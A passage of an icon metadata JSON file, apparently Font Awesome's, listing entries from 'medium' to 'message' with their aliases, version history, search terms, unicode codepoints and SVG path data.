151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"
      }
    },
    "free": ["brands"]
  },
  "medium": {
    "aliases": {
      "names": ["medium-m"],
      "unicodes": {
        "composite": ["f3c7"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23a",
    "label": "Medium",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M180.5,74.262C80.813,74.262,0,155.633,0,256S80.819,437.738,180.5,437.738,361,356.373,361,256,280.191,74.262,180.5,74.262Zm288.25,10.646c-49.845,0-90.245,76.619-90.245,171.095s40.406,171.1,90.251,171.1,90.251-76.619,90.251-171.1H559C559,161.5,518.6,84.908,468.752,84.908Zm139.506,17.821c-17.526,0-31.735,68.628-31.735,153.274s14.2,153.274,31.735,153.274S640,340.631,640,256C640,171.351,625.785,102.729,608.258,102.729Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M180.5,74.262C80.813,74.262,0,155.633,0,256S80.819,437.738,180.5,437.738,361,356.373,361,256,280.191,74.262,180.5,74.262Zm288.25,10.646c-49.845,0-90.245,76.619-90.245,171.095s40.406,171.1,90.251,171.1,90.251-76.619,90.251-171.1H559C559,161.5,518.6,84.908,468.752,84.908Zm139.506,17.821c-17.526,0-31.735,68.628-31.735,153.274s14.2,153.274,31.735,153.274S640,340.631,640,256C640,171.351,625.785,102.729,608.258,102.729Z"
      }
    },
    "free": ["brands"]
  },
  "medrt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c8",
    "label": "MRT",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 544 512\"><path d=\"M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z\"/></svg>",
        "viewBox": [0, 0, 544, 512],
        "width": 544,
        "height": 512,
        "path": "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"
      }
    },
    "free": ["brands"]
  },
  "meetup": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2e0",
    "label": "Meetup",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"
      }
    },
    "free": ["brands"]
  },
  "megaport": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5a3",
    "label": "Megaport",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"
      }
    },
    "free": ["brands"]
  },
  "memory": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f538"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["DIMM", "RAM", "hardware", "storage", "technology"]
    },
    "styles": ["solid"],
    "unicode": "f538",
    "label": "Memory",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128v7.4c0 6.8 4.4 12.6 10.1 16.3C23.3 160.3 32 175.1 32 192s-8.7 31.7-21.9 40.3C4.4 236 0 241.8 0 248.6V320H576V248.6c0-6.8-4.4-12.6-10.1-16.3C552.7 223.7 544 208.9 544 192s8.7-31.7 21.9-40.3c5.7-3.7 10.1-9.5 10.1-16.3V128c0-35.3-28.7-64-64-64H64zM576 352H0v64c0 17.7 14.3 32 32 32H80V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h48c17.7 0 32-14.3 32-32V352zM192 160v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128v7.4c0 6.8 4.4 12.6 10.1 16.3C23.3 160.3 32 175.1 32 192s-8.7 31.7-21.9 40.3C4.4 236 0 241.8 0 248.6V320H576V248.6c0-6.8-4.4-12.6-10.1-16.3C552.7 223.7 544 208.9 544 192s8.7-31.7 21.9-40.3c5.7-3.7 10.1-9.5 10.1-16.3V128c0-35.3-28.7-64-64-64H64zM576 352H0v64c0 17.7 14.3 32 32 32H80V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h48c17.7 0 32-14.3 32-32V352zM192 160v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "mendeley": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7b3",
    "label": "Mendeley",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"
      }
    },
    "free": ["brands"]
  },
  "menorah": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f676"]
      }
    },
    "changes": ["5.3.0", "5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["candle", "hanukkah", "jewish", "judaism", "light"]
    },
    "styles": ["solid"],
    "unicode": "f676",
    "label": "Menorah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M20.8 7.4C22.8 2.9 27.1 0 32 0s9.2 2.9 11.2 7.4L61.3 49.7c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32S0 81.7 0 64V62.8c0-4.5 .9-8.9 2.7-13.1L20.8 7.4zm96 0C118.8 2.9 123.1 0 128 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L116.8 7.4zm77.8 42.4L212.8 7.4C214.8 2.9 219.1 0 224 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM308.8 7.4C310.8 2.9 315.1 0 320 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L308.8 7.4zm77.8 42.4L404.8 7.4C406.8 2.9 411.1 0 416 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM500.8 7.4C502.8 2.9 507.1 0 512 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L500.8 7.4zm77.8 42.4L596.8 7.4C598.8 2.9 603.1 0 608 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM32 128c17.7 0 32 14.3 32 32V288c0 17.7 14.3 32 32 32H288V160c0-17.7 14.3-32 32-32s32 14.3 32 32V320H544c17.7 0 32-14.3 32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 53-43 96-96 96H352v64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V384H96c-53 0-96-43-96-96V160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H96V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H192V256 160c0-17.7 14.3-32 32-32zm192 0c17.7 0 32 14.3 32 32v96 32H384V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H480V256 160c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M20.8 7.4C22.8 2.9 27.1 0 32 0s9.2 2.9 11.2 7.4L61.3 49.7c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32S0 81.7 0 64V62.8c0-4.5 .9-8.9 2.7-13.1L20.8 7.4zm96 0C118.8 2.9 123.1 0 128 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L116.8 7.4zm77.8 42.4L212.8 7.4C214.8 2.9 219.1 0 224 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM308.8 7.4C310.8 2.9 315.1 0 320 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L308.8 7.4zm77.8 42.4L404.8 7.4C406.8 2.9 411.1 0 416 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM500.8 7.4C502.8 2.9 507.1 0 512 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L500.8 7.4zm77.8 42.4L596.8 7.4C598.8 2.9 603.1 0 608 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM32 128c17.7 0 32 14.3 32 32V288c0 17.7 14.3 32 32 32H288V160c0-17.7 14.3-32 32-32s32 14.3 32 32V320H544c17.7 0 32-14.3 32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 53-43 96-96 96H352v64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V384H96c-53 0-96-43-96-96V160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H96V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H192V256 160c0-17.7 14.3-32 32-32zm192 0c17.7 0 32 14.3 32 32v96 32H384V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H480V256 160c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "mercury": {
    "aliases": {
      "unicodes": {
        "composite": ["263f"],
        "secondary": ["10f223"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Mercury", "gender", "hybrid", "transgender"]
    },
    "styles": ["solid"],
    "unicode": "f223",
    "label": "Mercury",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M72.1 7C85.8-4 106-1.8 117 12c17.6 22 44.7 36 75 36s57.3-14 75-36c11.1-13.8 31.2-16 45-5s16 31.2 5 45c-7.8 9.7-16.6 18.4-26.4 26.1C337.3 109.7 368 163.3 368 224c0 89.1-66.2 162.7-152 174.4V424h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V472H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V398.4C82.2 386.7 16 313.1 16 224c0-60.7 30.7-114.3 77.5-145.9C83.7 70.5 74.9 61.7 67.1 52c-11.1-13.8-8.8-33.9 5-45zM80 224a112 112 0 1 0 224 0A112 112 0 1 0 80 224z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M72.1 7C85.8-4 106-1.8 117 12c17.6 22 44.7 36 75 36s57.3-14 75-36c11.1-13.8 31.2-16 45-5s16 31.2 5 45c-7.8 9.7-16.6 18.4-26.4 26.1C337.3 109.7 368 163.3 368 224c0 89.1-66.2 162.7-152 174.4V424h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V472H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V398.4C82.2 386.7 16 313.1 16 224c0-60.7 30.7-114.3 77.5-145.9C83.7 70.5 74.9 61.7 67.1 52c-11.1-13.8-8.8-33.9 5-45zM80 224a112 112 0 1 0 224 0A112 112 0 1 0 80 224z"
      }
    },
    "free": ["solid"]
  },
  "message": {
    "aliases": {
      "names": ["comment-alt"],
      "unicodes": {
        "secondary": ["10f27a"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f27a",
    "label": "Message",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
